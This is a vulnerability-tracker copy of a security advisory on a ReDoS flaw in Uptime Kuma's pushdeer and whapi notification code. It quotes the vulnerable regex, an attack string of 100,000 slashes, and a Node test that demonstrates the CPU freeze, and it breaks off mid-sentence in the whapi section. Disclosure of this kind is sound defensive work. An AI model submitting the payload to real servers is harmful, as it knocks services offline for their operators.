VulnWatch by ve1ve2
medium 6.7

GHSA-hx7h-9vf7-5xhg: Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Source:
Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)
Published:
Fetched:
Updated:
Affects:
louislam uptime-kuma

https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg ↗

repo-advisoryCWE-1333securityrepo:louislam/uptime-kuma

Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking ### Summary There is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack. ### Details The regular expression` \/*$\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources. ```js .replace(/\/*$/, "") ``` For the regular expression `/\/*$/`, an attack string like ```javascript "https://e" + "/".repeat(100000) + "@" ``` can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack. > When entered from the web interface, the attack string needs to expand `"/".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk. ### PoC The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack: ```javascript const semver = require("semver"); let test; const nodeVersion = process.versions.node; if (semver.satisfies(nodeVersion, ">= 18")) { test = require("node:test"); } else { test = require("test"); } const PushDeer = require("../../server/notification-providers/pushdeer.js"); const assert = require("node:assert"); test("Test ReDos - attack string", async (t) => { const pushDeer = new PushDeer(); const notification = { pushdeerServer: "https://e" + "/".repeat(100000) + "@", }; const msg = "Test Attacking"; const startTime = performance.now(); try { pushDeer.send(notification, msg) } catch (error) { // pass } const endTime = performance.now(); const elapsedTime = endTime - startTime; const reDosThreshold = 2000; assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`); }); ``` > Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests. Trigger conditions for whapi jams, In the send function within the `uptime-kuma\server\notification-pro Affected packages: :uptime-kuma Patched: uptime-kuma 2.0.0-beta.2

Linked vulnerabilities (1)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L

Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

CWE: CWE-1333